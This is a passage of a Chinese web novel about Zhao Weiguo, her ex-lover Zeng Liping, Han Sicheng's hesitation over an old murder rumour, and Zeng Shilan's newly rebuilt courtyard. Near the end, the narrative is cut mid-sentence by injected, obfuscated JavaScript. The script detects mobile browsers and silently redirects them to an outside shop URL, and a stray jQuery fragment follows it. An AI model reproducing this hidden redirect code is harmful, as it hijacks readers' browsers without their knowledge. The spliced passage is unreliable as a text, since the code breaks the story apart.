曾立平想到心烦意乱处，心里躁，手心痒，衣服兜里有烟，他想来一根，又想到这地方不准抽烟，心里的念头起了，可身子沉重，就这么呆愣愣地看着衣服兜鼓起来的地方发呆。
现如今，赵唯果给曾式兰打工，成为他的助理，曾立平心里直打鼓。
茶馆里人多了起来，包厢外闹哄哄的，茶水早就凉了，曾立平抬手伸了一个懒腰，顺势站起身来，捞起外套往外走。
回了单位，还没到下班时间，人却没几个，因为单位组织体检，大家做完体检就直接回家了，上头风生水起，神仙打架，下面人呢也不想凑热闹怕误伤了自己，这个时候不做事比做事保险，明哲保身嘛。
“曾主任还工作呢？这么辛苦啊，”门口保卫处的大爷正巧从值班室里走出来，遇到了曾立平，随口一问。
“回来看看文件，反正下班了也是一个人，”曾立平站定，愣了半秒后挠了挠头，他是不是得去找赵唯果？这丫头被韩司丞那个母亲气得够呛吧？他们两个刚吵架，现在正是见面的好时机。
“曾主任您不是有个女朋友吗？”
曾立平沉浸在思考到底要不要去看赵唯果的笑话，听到警卫大叔这么一问，他没反应过来，大爷以为是说错了话，换了口吻说：“前一段时间，给您来送午餐那个姑娘啊。”
他说的是李飞飞，曾立平想起来，“害，”他摆摆手，“掰了，”不过这个时候曾立平才发现，他自己的私事儿怎么门卫大爷都知道？“您知道？”
“嗯……咱们这儿来办事的人多，那小姑娘也不是过来办事的，又好看……很难不记住。”
曾立平点点头，心下很是不满，“您忙吧，我先上去了。”
他转身往办公室走去，脚踩在漂亮的大理石上发出了清脆的声响。曾立平到了没有耐心应付女人的年纪了，年轻的时候可以有来有往，男女之间的博弈他信手拈来，现在呢？
赵唯果给他添了太多麻烦了，他都无心分身与女人纠缠。不过婚姻这个事儿吧……尤其是他这种人，可不是能乱来的，离婚是要上头批准的，前些年一位德高望重的老领导老房子着火，要与原配离婚，上头不批准，两人撕扯来撕扯去，直到领导都下台了，婚还没离成。
曾立平才不会这么糊弄结婚呢，坐下来，给自己倒了一杯白水，喝了几口，莫名喝出了甜味儿。有一阵子，赵唯果去健身，每天吃得严格，早饭蛋白质，午饭碳水蛋白质，晚饭就吃点菜叶子，还控糖。
曾立平倒没那么多讲究，家里的保姆营养师会给他搭配好吃营养的餐食，可看着赵唯果那么自律，他也跟着加入进去了。不过晚上两人真的是大眼瞪小眼，睡不着是一回事，谁不睡又是另一回事儿。
“这特么跟戒色有什么区别？”曾立平翻身坐起来，手伸入赵唯果的睡衣里，摸来摸去，下半身什么反应都没有，他用力捏了一把赵唯果。
赵唯果抬脚踹过来，“你睡不着去隔壁，不要烦我。”
曾立平有些生气，“你们家是不是遗传啊这玩意儿啊？一个出家，一个去修道，你在这儿跟我玩儿戒色？赵唯果，小爷今年三十二，再熬个二十年才能阳痿，你现在是在做什么？提前演练吗？”
“你打算五十二阳痿？”赵唯果气笑了，也坐起来，“你想想你爷爷几岁生的曾式兰，你好好想想！”
“哼，你放心，我不会七十五的时候让你生。”
“你特么……”赵唯果用尽力气想把曾立平踹下床，可曾立平这人在床上的时候就是特别贱，狗皮膏药一样，抱住赵唯果的腿不撒手。
他们两个有过美好的时候啊，而且很多呢，曾立平想到这里，放下了手里的杯子，心里的思绪全部散去，他现在还就想逗逗她，想知道她做什么。
韩司丞看着赵唯果。
这个问题来得太直接，以至于他准备好的所有话都失去了用处。他原本以为，赵唯果提起张开元，是想说那桩旧案，或者解释外面那些真假难辨的传闻。他甚至已经在心里想好，无论她愿意说多少，自己都不会追问。
可她没有解释。
她只是坐在对面，隔着一张曾立平送的茶台，问他信不信她杀过人。韩司丞的第一反应几乎没有经过思考，“如果你是，”他说，“你现在还会坐在这里吗？”
话音落下，茶室里安静了。
赵唯果没有动，她仍旧托着下巴看他，脸上没有生气，也没有失望，只是眼睛里的那点光慢慢淡了下去。
韩司丞很快便意识到，自己说错了话。
这根本不是回答，他只是用司法结论回避了她的问题。没有被定罪，不代表没有做过；能够坐在这里，也不代表清白。以赵唯果的聪明，她不可能听不出他在回避。韩司丞垂下眼，看见杯中的茶汤轻轻晃了一下。刚才赵唯果替他续的第二杯，他一口也没有喝。
“我不是这个意思。”他说。
“那你是什么意思？”
赵唯果的语气仍旧平静。她没有逼问，也没有讥讽，甚至给了他足够的时间，让他重新组织一个更妥善、更动听的答案，只要他说一句“我相信你”，这场谈话或许就能继续。
可韩司丞说不出来。
不是因为他真的认为赵唯果杀了张开元。恰恰相反，他从来没有认真相信过那些传闻。他认识的赵唯果骄傲、刻薄，有时也不近人情。她会报复，会记仇，惹急了也能把一个人最难堪的地方挑出来，毫不留情地踩下去。
但杀人是另一回事，在他的认知里，赵唯果不会跨过那条线。可她现在问的，显然不只是他信不信那些证据。她在问，如果她真的杀了人呢？如果清华里流传多年的故事不是流言，如果她的确对张开元做过不可挽回的事，韩司丞还会不会像今天这样坐在她面前，还会不会愿意靠近她？
韩司丞忽然不敢直视她的眼睛，他一直认为自己爱赵唯果。这种感情持续了太多年，久到已经不再需要反复确认。他不在意她是不是成功，不在意她能不能一直站在最高的地方，也不在意她最后能给自己什么。
可如果赵唯果真的是一个杀人犯呢？他脑中第一次清楚地出现这个假设，如果赵唯果是杀人犯，他还会爱她吗？韩司丞发现自己无法立刻回答。
爱情可以容忍失败、软弱、虚荣和自私，甚至可以容忍欺骗与背叛。可一条人命横在中间时，他还能不能告诉自己，那只是赵唯果身上的一部分？
如果爱她，是否意味着要接受她做过的一切？如果无法接受，那他这么多年爱着的，究竟是赵唯果本人，还是他所相信的那个赵唯果？
沉默持续得太久。
久到任何补救都显得虚伪。
韩司丞终于抬起头。
“坦白说，”他声音有些低，“我不知道。”
赵唯果轻轻点了一下头，没有追问，也没有责怪。她端起面前的茶杯，将已经凉下来的茶喝了一口。茶水大概有些涩，她含了一会儿才咽下去。
“也是。”她说。
这两个字比失望更让韩司丞难受。
“唯果——”
“没关系。”
赵唯果放下茶杯。
“你不用急着给我一个答案。”她低头将杯子转正，杯沿上留着一点浅淡的水痕。她用手指擦了一下，动作慢而随意，像刚才真的只问了一个无关紧要的问题。
“这个问题本来就跟爱情没什么关系。”
韩司丞看着她。
赵唯果笑了笑，这一次笑意里有一点疲倦。
“你和我都多大年纪了，还坐在这里讨论爱情。”
“为什么不能讨论？”
“因为没有意义，”她说得平静，甚至没有刻意表现出嘲讽，“年轻的时候当然可以说，只要相爱，其他什么都不重要。家庭不重要，背景不重要，别人怎么看也不重要。等真正走到结婚那一步，谁还只谈爱情？”
韩司丞皱了皱眉，“我不是这样想的。”
“但婚姻就是这样，”赵唯果向后靠在椅背上，两个人之间刚刚缩短的距离重新拉开。
“婚姻要看两家的背景，看彼此能给对方带来什么，也看这个人放进家里以后，会不会给整个家庭带来麻烦。所谓门当户对，其实就是资源互换，结婚最好是互利互惠的合作，不只是钱差不多、出身差不多，也包括名声是否干净，过去能不能经得起别人查。”
她说到这里，停了一下，“尤其是你这样的家庭。”她回忆着当天韩司丞母亲的神情，眯了眯眼，摆出高贵的姿态。
韩司丞没有反驳，因为他知道赵唯果说得没错，这话他很熟。韩家或许没有外界想象得那么显赫，却有自己严格的秩序。一个人想进入这样的家庭，需要面对的从来不只是韩司丞。
她的父母是谁，做过什么，过去与谁交往，身上有没有可能被人反复拿出来议论的污点，都会有人提前了解，更何况赵唯果身上背着的不是普通传闻。
是一条人命。
“所以，”赵唯果重新抬眼看他，“你觉得我配得上你吗？”
“当然。”
这一次韩司丞没有迟疑。
两个字几乎在她问完的同时便说了出来。
赵唯果看着他。
韩司丞迎着她的目光，语气比刚才更确定。
“我从来没有觉得你配不上我。”
无论是家世、能力，还是他们各自走到今天拥有的一切，赵唯果都不需要依附任何人。她甚至比大部分站在韩家面前的人更有资格选择，要不要走进去。
“不是我配不配得上你。”韩司丞说，“是你愿不愿意。”
赵唯果安静了几秒，忽然笑了一下，有些调皮，“你当然会这么说。”
“这就是我的答案。”
“可惜，不是所有人都这么想。”
韩司丞心里隐约生出一种不好的预感。赵唯果看着他，脸上的笑意渐渐消失，她下巴微微仰起，“至少你母亲显然不这么觉得。”
韩司丞愣住了。
“什么？”
“前几天，她来找过我。”
茶室里的水汽已经散尽，白瓷杯里的茶彻底凉了。窗外有车辆驶过，灯光从帘缝间一晃而过，又很快消失。
韩司丞坐在那里，很久没有说话。
他脑子里闪过许多东西。
母亲怎么知道赵唯果住在哪里，什么时候来的，她们在哪里见面，又说了多久。
更重要的是，赵唯果为什么直到现在才告诉他。
“她跟你说了什么？”韩司丞问，声音比他自己预想中更沉，有什么东西卡在喉咙里。
“没说什么特别的。”
赵唯果将手从下巴上放下来，她没有在那位女士面前得到应有的尊重，那么她在搞清楚对面的人值不值得之后，立刻将她收到过的屈辱加倍奉还。
“你母亲只是问了问我的近况，又问我和你是什么关系。”
“你怎么回答的？”
“这重要吗？”
韩司丞被问得一滞。
赵唯果看着他。
“她并不是来确认我们的关系。她来之前，已经把该知道的事情都查清楚了。”
韩司丞的手指慢慢收紧，他了解自己的母亲。她不会在毫无准备的情况下去见赵唯果，也不会只是因为担心儿子，便冲动地找一个女人谈话，她既然去了，就说明她已经形成了自己的判断。
“她还说什么？”
赵唯果没有马上回答。她拿起茶壶，像是想再给自己添一点，提起来才发现里面已经空了。她低头看了一眼，又将壶放回原处。
“她说，你到了应该结婚的年纪。”
“这件事她不能替我决定。”
“我知道。”
“那你——”
“韩司丞。”
赵唯果打断他。她没有提高声音，却让他后面的话停了下来。
“你母亲说，你应该找一个正直、善良的人，一切以你的喜好为准，即使对方是一个农村女孩，你的父亲母亲都会支持你，他们非常爱你。”
她停顿了一下，像是在回忆原话，又像是觉得接下来的内容实在没有重复的必要。
最后，她还是说了出来。
“而不是一个杀人犯。”
韩司丞彻底沉默了，短短几句话里包含的信息太多，他一时不知道应该先回应哪一件。
是母亲瞒着他来找赵唯果，是她私下调查了张开元的案子，还是她当着赵唯果的面，用“杀人犯”三个字给她下了定论。
他应该道歉。
也应该告诉赵唯果，母亲的话不代表他的态度。
可他刚刚才在赵唯果问“你觉得我是杀人犯吗”时，沉默了那么久，最后给出的答案也是“不知道”。
他现在再说自己相信她，已经太迟了。
如果立即责怪母亲，也只会显得可笑。母亲的确越过了界限，但眼下最需要被看见的并不是他的愤怒，而是赵唯果独自坐在对方面前，听完那些话时究竟是什么心情。
而他甚至没有及时知道。
韩司丞张了张嘴，“我——”
“你不用解释。”
赵唯果的声音里终于显出疲倦。不是愤怒，也不是委屈，只是累。
这种疲倦让韩司丞觉得，她今天邀请自己上楼，也许并不是想重新开始，更不是想听他表白。
她只是想问一个问题。
问完以后，便可以彻底放下某种不切实际的期待，“这件事和你没有直接关系。”赵唯果说，“她是她，你是你。她怎么想，也不能完全算在你头上。”
这句话听起来体谅，却将两个人划分得更加清楚。
“但她是我母亲。”
“所以呢？”
赵唯果看着他。
“你要回去和她吵一架吗？还是逼她向我道歉？”
韩司丞没有回答。
赵唯果轻轻呼出一口气，“都没必要，”她想笑，韩司丞可能也没这么想过，她自恋没错。
“这不是有没有必要的问题。”
“那是什么问题？”
韩司丞一时说不出来。
赵唯果等了几秒，见他没有继续，便移开目光，看向窗外。
“时间不早了。”她说，“你也该回去了。”
逐客的意思很明显。
韩司丞却仍旧坐着。
他第一次觉得自己说什么都不对，坚持留下，会让赵唯果更加厌烦；立刻离开，又像是默认了今天这场谈话的结论。
“你……你吃，吃晚饭了吗？”
话问出口，连他自己都觉得生硬。他们刚刚还在谈张开元、杀人和婚姻，他却突然问她有没有吃饭。
赵唯果似乎也没想到他会问这个，愣了一下。
“没有。”
“我去给你买。”
“不用了。”
“家里有什么？我可以——”
赵唯果抬手摆了摆，“我困了，”说完，她从椅子上站起来。坐了太久，起身时身体轻轻晃了一下。韩司丞下意识想扶她，她已经自己站稳，顺手将椅子推回茶台下面。
“你要走的话，记得关门。”
说完，她转身离开茶室，韩司丞跟着站起来。
“唯果。”
赵唯果没有回头，她沿着走廊往里走，脚步不快。房门打开，室内没有开灯，一片昏暗。她走进去，反手将门合上。从始至终，没有再给他解释的机会。
韩司丞站在茶室门口，看着那扇紧闭的房门。
他有很多话想说，想说自己不知道母亲来过，想说她没有资格代替他做决定，也想说无论韩家怎么看，赵唯果在他这里从来不是一个需要被衡量是否“配得上”的人。
可他也清楚，赵唯果真正介意的或许不是韩母说过什么。而是当她亲口问他时，他也没有坚定地选择相信她。
他给出的“不知道”足够诚实，也足够伤人。
茶室里还留着淡淡的茶香。
韩司丞回过头，看见桌上并排放着的两只小杯。他那杯茶一口没动，赵唯果的杯底则只剩下一点凉透的茶汤。茶台、茶壶、墙上的字。每一样东西都与曾立平有关。
韩司丞原本以为，自己最难面对的是这个房间里另一个男人留下的痕迹，直到此刻他才明白，真正横在他与赵唯果之间的，从来不只是曾立平。
房门始终没有再打开。
韩司丞站在那里，第一次不知道自己究竟应该留下，还是离开。
赵唯果睡了很久，其实她没打算睡多久的，只是太生气了，闭着眼躺在床上，不知不觉就睡着了。
久到她再次睁开眼睛时，一时分不清是白天还是晚上。
窗帘没有完全拉严，一线昏黄的光从缝隙里漏进来，落在地板上。房间里很安静，暖气开得有些足，空气干燥，她的喉咙像被砂纸磨过，吞咽一下都疼。
她试着翻身，腰背却传来一阵酸痛。不是睡得太久那种轻微的僵硬，更像有人趁她睡着以后把全身的骨头拆下来，又胡乱装了回去。肩膀沉，四肢也没有力气，后脑一阵阵发胀。
赵唯果皱着眉，撑住床沿，慢慢坐起来，被子从肩头滑下去。
她低头看见自己还穿着昨天的衣服，只是外面的衬衫被脱掉了，身上剩一件贴身的薄毛衣。床头柜上放着半杯水、体温计和拆开的退烧药，旁边还有一条叠得整整齐齐的湿毛巾。
赵唯果看了很久，脑子仍旧有些迟钝。她不记得自己吃过药，也不记得谁替她脱了衣服。
卧室外隐约传来锅盖碰撞的声音，听觉苏醒；紧接着，是食物的香气，味觉复苏。
葱姜在热油里爆开的味道混着炖肉的香气，从门缝里一点点钻进来。她空了一整天的胃终于有了反应，却不是饿，只是轻轻抽了一下。赵唯果转头看向房门。
她还没来得及弄清楚怎么回事，门便从外面被推开了。曾立平探进半个身子，难得地温柔，“醒了？”
赵唯果歪着头看他。
曾立平身上穿着一件质地很好的深灰色羊毛衫，袖子被随意推到手肘，上面套着一条不知道从哪里翻出来的浅色围裙。围裙明显不合身。系带太短，被他勉强系在腰后，前面的布只遮住大半件羊毛衫。可他神情自然，像是完全没有意识到自己这副样子有多奇怪。
“你发烧了。”他说，“我给你打了十几通电话，没人接。曾式兰又打电话问我，说你今天没去上班，问我知不知道怎么回事。”
他停了一下，“我不放心，就过来看看。”
赵唯果仍旧看着他，从上到下，昂贵的羊毛衫，不太合身的围裙，头发也没有平时打理得那么整齐，额前垂下来一点，手里还拿着一只木勺，怎么看都像一个在家里忙了很久的男人。
赵唯果机械地点了点头，“哦。”
曾立平原本已经做好了被她质问的准备，见她只是点头，反而不太适应。他走进来，把木勺搁在床头柜上，伸手去碰她的额头，赵唯果没躲，她想躲来着，全身都有点软，曾立平的掌心微凉，贴上来很舒服。停了几秒，他又用手背试了一遍。
“还是有点热。”
“几点了？”
“下午五点半。”
赵唯果看了一眼窗外，“我睡了多久？”
“我来的时候两点多。你应该从昨晚一直睡到现在。”曾立平拿起体温计，递给她。
“再量一次。”
赵唯果接过来，动作迟缓地夹进腋下，“为什么要用这种老款体温计啊……”她嘟囔着，很是不满，过了一会儿，她终于想起最应该问的问题。
“你怎么进来的？”
“密码没换。”
“你还记得？”
“六位数，有什么记不住的，”曾立平拉过床边的一把椅子，坐下来。
“我进来的时候门也没反锁。你是觉得自己命太长，还是觉得这栋楼里没有坏人？”
赵唯果闭了闭眼睛，“我让人走的时候，叫他关门了。”
“是关了，”曾立平语气淡淡的，可还是有些不满，“但没锁。”
赵唯果没有说话，曾立平看了她一会儿。今天下午，他进门以后，先看见了玄关旁没有收好的男士拖鞋。走进茶室，又看见茶台上放着两只杯子。
一只空了。
另一只还剩大半杯凉茶。
他不需要问，也知道昨晚有人来过。
“韩司丞？”曾立平问。
“嗯。”
“待到几点？”
“不知道。”
“他走的时候，你就已经发烧了？”
“那时候没感觉。”
曾立平冷笑了一声，“他倒是走得放心，你倒是心大……”
“他不知道。”
“是，他什么都不知道，”这话里明显有别的意思。赵唯果抬眼看他，没力气争辩，只说：“你不要借题发挥。”
“我借什么题了？你不是我老婆么，让其他男人进来，我说什么了？不还是老老实实伺候你？”
赵唯果翻了一个白眼，她想说让他走，可她自己都成这样了，被曾立平嘲笑就嘲笑吧，身体才是革命的本钱嘛。曾立平拿过体温计，看了一眼。
“三十八度二。”
比他刚来时低了一些。
他把体温计放回去，又将床头那半杯水递给她。
“先喝。”
赵唯果接过杯子，喝了两口。水是温的，温度刚好，滑过喉咙时稍微缓解了一点疼痛。
“你给我吃药了？”
“喂了一次。”
“我怎么不知道？”
“你烧得跟个傻子似的，叫了半天才睁眼。我让你把药咽了，你还问我是不是要毒死你。”
赵唯果努力回忆了一下，没有任何印象。
“那你怎么回答的？”
“我说要毒死你也不会选退烧药，见效太慢。”赵唯果靠在床头，疲倦地笑了一下，笑完，胸口又有些发闷，她偏过脸咳嗽了两声。
曾立平立即起身，把她手里的杯子接过来。
“别说话了。出来吃东西。”
“没胃口。”
“没胃口也得吃。空腹不能再吃药。”
“端进来不行吗？”
“不行。”
“为什么？”
“你已经躺了一天，再躺腰就真废了。”
曾立平把被子掀开一点，又弯腰将拖鞋摆到她脚边，赵唯果看着他的动作，以前两个人在一起时，这些事都是自然发生的。她不舒服，曾立平便会来；家里缺什么，他也知道放在哪里。两个人吵得再凶，该吃饭还是吃饭，该吃药还是吃药。
那时她从不觉得这些有什么特别，直到他们真正分开，赵唯果才发现，熟悉一个人的生活习惯，本身就是一种很难切断的东西。
她脚落到地面上，刚站起来，眼前便黑了一瞬，曾立平迅速扶住她。
“慢点，”他的手臂绕过她的腰，另一只手握住她的手肘。等赵唯果站稳，他也没有立即松开。
赵唯果低头看了一眼，曾立平这才把手收回去，“能走吗？”
“能。”
“不能就说。”
“我还没虚弱到要你抱。”
“你以前也这么说。”
“然后呢？”
“然后走两步就摔了。”
赵唯果没有力气与他翻旧账，扶着墙慢慢往外走。
经过茶室时，她看见昨天用过的茶具已经洗干净了。两只小杯倒扣在茶盘上，韩司丞用过的那只，与她的杯子挨在一起。
曾立平显然动过这里。
她回头看了他一眼。
曾立平像是知道她在想什么。
“杯子馊了，我才洗的。”
“茶放一晚上不会馊。”
“我说馊了就馊了。”
赵唯果懒得揭穿，餐桌上摆着一锅粥、一道清炒蔬菜，还有一碟切得很细的牛肉。旁边放着一小碗蒸蛋，表面淋了几滴香油和生抽，香气就是从这里散出来的。
“你做的？”赵唯果问。
“不然呢？”
“你什么时候会做这些了？”
“我一直会。”
“你以前连燃气灶怎么开都不知道。”
“那是以前，”曾立平替她拉开椅子。
“这些年我也不是光长年纪。”
赵唯果坐下来，他先盛了半碗粥放到她面前，又将蒸蛋往她那边推了推。
“先吃这个。牛肉吃不下就别吃。”
赵唯果拿起勺子，舀了一口蒸蛋。
很嫩，没什么腥味。
只是她发着烧，舌头发苦，吃不出多少味道，“怎么样？”曾立平问。
“有点淡。”
“病人就该吃淡的。”
“你是不是忘记放盐了？”
“赵唯果。”
“嗯？”
“爱吃不吃，”嘴上这样说，他还是拿起生抽，准备往她碗里添一点。
赵唯果抬手挡住，“算了，”曾立平又把生抽放回去，两个人安静了一会儿。赵唯果慢慢吃着蒸蛋，曾立平坐在对面，没有给自己盛饭，只看着她，被人盯着吃东西并不舒服。
她吃了几口，终于问：“曾式兰为什么打电话给你？”
“他联系不上你。”
“联系不上我，为什么问你？”
“我也问了。”
“他说什么？”
“他说你在北京能找到的人不多。”
曾立平学着曾式兰平静的语气，重复完以后又冷笑了一声。
“说得好像你归我管。”
赵唯果抬眼看他，没接话。
“我说你死外面也跟我没关系。”
“然后你就来了？”
曾立平顿了一下。
“我怕你真死了，他回头赖我。”
“哦。”
赵唯果低头继续喝粥，没有拆穿他。
曾立平也没再解释。
他给她夹了一点青菜，又将放在旁边的药拿过来，对照说明看了一遍。
“吃完再吃这个。”
“知道了。”
“不能空腹。”
“你已经说过了。”
“我说过的你也不一定听。”
赵唯果喝完小半碗粥，胃里有了东西，身上的冷意也慢慢退下去。她放下勺子，向后靠在椅背上，闭了闭眼睛。
“吃不下了。”
曾立平看了一眼她几乎没动的牛肉，没有勉强。
“那把药吃了。”
赵唯果拿过药片，和着温水咽下去。杯子放回桌面时，她忽然问：“你知道韩司丞他母亲来找过我吗？”曾立平的动作停了停，“知道。”赵唯果睁大了眼睛。
“你怎么知道？”
“北京有什么我不知道的事儿吗？”曾立平语气平淡，显然不准备现在多说，他瞥了她一眼，接着问：“她跟你说什么了？”
赵唯果看着桌上的空碗，“她让我离韩司丞远一点。”
“还有呢？”
“说我不适合他。”
“凭什么？”
“凭我是杀人犯。”
曾立平脸上的神情一点点沉下去，即使他早就知道了，但这话从赵唯果嘴里冒出来，他心里也还是不舒服。曾立平深吸一口气，叶没有发火，更没有像赵唯果预料的那样讥讽韩家。只是坐在那里，指尖在药盒边缘压了一下。
“她真这么说？”
“差不多。”
“原话。”
赵唯果看了他一眼，“她说韩司丞应该找一个正直、善良的人，而不是一个杀人犯。”
曾立平沉默了几秒，“他家官职不大，给人判刑倒挺利索。”
“你不要找她麻烦。”
“我没说要找。”
“你脸上写着。”
“你都烧成这样了，还能看清我脸上写什么？”
赵唯果没有接他的玩笑。
她手指握着水杯，过了一会儿才说：“我其实也挺好奇的，是不是很多人都觉得我是杀人犯，是我杀了张开元，然后在你的庇护下，为非作歹，狐假虎威，横行霸道。”
曾立平抬眼，他只是看着赵唯果，想知道她说这句话时，究竟是在生气还是在难过。
最后，他只说了一句：“我有能耐让你胡作非为，他们有么。”
赵唯果抿着嘴，也不知道该怎么接话，曾立平这人别的不说，在安慰人这件事上他言行一致。其他男人在她落魄的时候说我养你，但其实转头就挖苦她瞧不起她。曾立平说要护着她，让她在京城横着走，就真的能让她横着走。
可惜，赵唯果摇头，真是可惜，他们俩个有缘无份。曾立平没想那么多，拿起她面前已经空了的碗，叠到自己这一边。
赵唯果看着他。
“你呢？”
“什么？”
“你觉得我是吗？”
曾立平手上的动作停下来。
“不是。”
没有迟疑。
甚至没有抬头思考。
他只是很平常地回答了，仿佛赵唯果问的不是一桩曾经险些毁掉她一生的命案，而是一件早已有明确结论的事。赵唯果望着他。
“你怎么知道？”
“因为我查过。”
曾立平将碗放下，这才抬起眼睛。
“张开元刚死的时候，我怀疑过你。”
这句话让赵唯果怔了一下。
“你怀疑过我？”
“为什么不怀疑？她死前见过你，你们两个从小就有矛盾，现场的东西又全指向你。我那时候不怀疑你，难道凭爱情给你作无罪推定？”
他说得坦然。
“但怀疑归怀疑，我查了。”
“查到什么？”
“查到那些证据太整齐。”
曾立平看着她。
“你们以前打架的事有人记得，她死前给你打过电话，现场有你碰过的东西，连你离开的时间都有人能说清楚。所有东西凑在一起，像是生怕别人不知道应该查谁。”
赵唯果没有出声。
“还有张开元那段时间在吃的药，她的精神状态，曾式兰不肯说的那些事。”曾立平继续道，“我该查的都查过了。最后我不知道她到底为什么死，但我知道，不是你。”
“万一真是我呢？”
曾立平沉默了一下。
这一次，他没有立刻给答案。
赵唯果安静地等着，“如果真是你，”他说，“我也会护着你。”
“然后呢？”
“然后该怎么办就怎么办，”他的语气很平静，“正常过日子呗。”
赵唯果看着他，许久没有说话。
曾立平拿过水壶，给她的杯子重新添满。“倒是你啊，这件事儿早就该翻篇了，别人说你是凶手你自己清楚不是就好了，咱们好好过自己的日子，管其他人做什么呢？现在你有一份稳定的工作，咱俩感情也这么好了，挑个日子跟我回家见家长吧，先见你爸妈也成，我都行。”
赵唯果看着曾立平，“你不怕我是个杀人……”
“好了赵唯果，不要想这么多了，”他打断了她，“养好病再说其他的，”他也不知道有什么其他的好说，但此时此刻曾立平也很累了，他端着盘子走到了水池边，脸色阴沉着。
赵唯果生病休息的那几天里，发生了不少事情。
她大部分时间都在睡，手机调成静音，窗帘也很少拉开。曾式兰给她批了假，没有规定什么时候回去上班，只让人每天打一次电话，确认她还活着。
第三天下午，曾立平去了曾式兰那里。
院子刚刚修整过。
原先靠西侧的几间旧屋拆了，新建起一片亭台长廊。屋檐压得很低，梁柱没有用太浓的颜色，木料保留着本来的纹理。庭院里新挖了一方浅池，水还没养透，池底的青石清晰可见。
入秋以后，院子里的树已经开始落叶，几片颜色发黄的叶子浮在水面上，被风吹到石桥下面，挤在一起。
曾立平跟着佣人往里走，抬头看了看檐角。
“新修的？”
“刚完工不久。”
“看着不像以前的样子。”
“曾先生说，按唐时的规制重新做。”
佣人说完，引着他穿过月门。院子里还有几个人在检查收尾。一个年纪不小的男人蹲在廊柱旁，正用手摸木榫连接的位置。他与身旁的人说话时声音很轻，偶尔夹杂几句日语。
曾立平多看了一眼。
“日本人？”
“是。曾先生请过来的。”
曾式兰坐在院子最深处。
那里临水搭着一张长案，案上摆了笔墨、颜料
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17935468|210580||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
和几只洗笔用的白瓷碗。他今天没有穿西装，只穿了一件颜色很浅的宽松上衣，袖口挽到手腕上方，手里握着一支细笔。
新换的秘书站在不远处。
对方看见曾立平，向他点头致意，随后走上前，低声在曾式兰耳边说了句话。
曾式兰没有回头，“让他过来吧。”
曾立平走到长案旁，先看了一眼画。
宣纸铺得很开。
远看是一丛墨竹，竹竿修长，枝叶疏落，颜色从浓到淡，像是院中竹影投在纸上。墨色不算重，留白很多，看着颇有几分清雅。
曾立平起初没有在意，走近以后，他才发现那根本不是竹子，组成竹竿的，是一只只细长的虫。虫身一节一节相接，足与触须纠缠在一起，从远处看，恰好构成竹子的枝干。墨色最浓的地方像竹节，凑近了才看得清，那是数只竹节虫重叠在一起的身体。
就连那些细长的竹叶，也都是虫子的足。
曾立平盯着看了一会儿。
“这画挂出去，胆子小的看清楚了，晚上要做噩梦。”
曾式兰手里的笔没有停。“那就别走得太近。”
“远看是竹子，近看全是虫。”曾立平说，“您现在喜欢画这种东西了？”
“觉得有意思。”
曾式兰落下最后一笔，将笔放到旁边。
“有些东西，离远了才像。”
他说完才抬头看曾立平。
曾立平笑了一声。
“那您这画是让人看，还是不让人看？”
“看得明白的人，自然知道该站在哪里，”曾式兰说得随意，仿佛只是在谈画，曾立平没有接话。
他又低头看了一眼纸上的竹子。那些虫被画得极细，每一只形态都不同，有的攀附，有的蜷缩，还有几只像是正沿着竹竿向上爬。明明一片生动，远看却安静得没有一点活气。
院子另一边传来木头敲击的声音。
曾式兰顺着声音看过去。
“这片院子修了一年多了，今天总算快结束了。”
“花了不少心思吧？”
“还好。”
“怎么找了日本人来做？”
曾式兰拿湿帕子擦了擦指尖沾上的墨，“国内现在很难找到真正懂唐式木构的人。看起来都像，细看又不对。唐的、宋的、明清的东西混在一起，再加点现代人的想象，最后修得不三不四。”
他说完，将帕子放下。
“有些东西都被日本人学了去，我们自己反而剩了个大概。”
曾立平看了看不远处正在检查木榫的日本匠人。
“学过去的东西，跟原来的还能一样吗？”
“能留住规矩，已经不容易了。”
“您不是最不喜欢别人学您吗？”
曾式兰看向他，唇边有了一点笑意。
“那要看学走什么。”
“学得像呢？”
“像也只是像，那能是真的吗？”
他把画案上的东西交给秘书收拾，自己沿着池边往长廊方向走。
曾立平跟上去，经过新秘书身边时，他脚步慢了一下，打量了对方两眼，是张陌生面孔，不过这身形和之前那个秘书着实相像。三十岁上下，衣着得体，话很少，从曾立平进门到现在，只开口提醒过曾式兰一次。
“终于换秘书了啊。”曾立平说。
新秘书动作微顿。
曾式兰倒没有反应，只继续往前走。
“之前那个呢？”
“去巴黎了。”
“出差？”
“帮我取点东西。”
“什么东西值得他亲自过去？”
“几件旧物。”
曾式兰的语气很淡。
“寄回来不行？”
“不能寄。”
曾立平看着他的侧脸，没有继续追问。曾式兰从前那位秘书跟了他许多年，张开元去世后，也是那个人陪着他去了南法。曾立平千里迢迢找过去，最后便是被他拦在门外，当时秘书低着头，一口一个“曾先生”，话说得客气，态度却半分不让。
曾式兰不见，谁来都不见。
后来曾立平再想找那个人问些事情，对方便像从曾式兰身边消失了。有人说他去了国外，也有人说他调去负责别的事务，始终没有一个准确去处。
如今曾式兰轻描淡写地说，人去了巴黎，只为替他取几件不能邮寄的旧物。曾立平想，是不是能从那位老秘书那里搞到一些秘密？
曾立平说不清是巧合，还是曾式兰故意告诉他，这话听着怎么都奇怪。两个人一前一后，走进了长廊。
新修的木板还没有被踩出痕迹，鞋底落在上面，声音很轻。长廊一侧临水，另一侧种着几株新移来的竹子。竹叶被风吹得相互摩擦，与刚才画上的那一片几乎一模一样。
曾式兰背着手，走得不快。
“你怎么有空来找我？”
他偏头看了曾立平一眼。
“最近不忙吗？”
“忙啊。”
“内部不是正在调整？”
“就是因为忙，才得趁有时间来一趟。”
“什么事这么要紧？”
曾立平笑了笑，“再忙也得过来见您啊。”
曾式兰闷声笑起来，声音不大，像是早已知道他的来意，只等着他自己说，“少来这一套。”
“我哪一套？”
“你小时候闯了祸，才会这样说话。”
“那是多少年前的事了。”
“人长大了，习惯不一定改。”
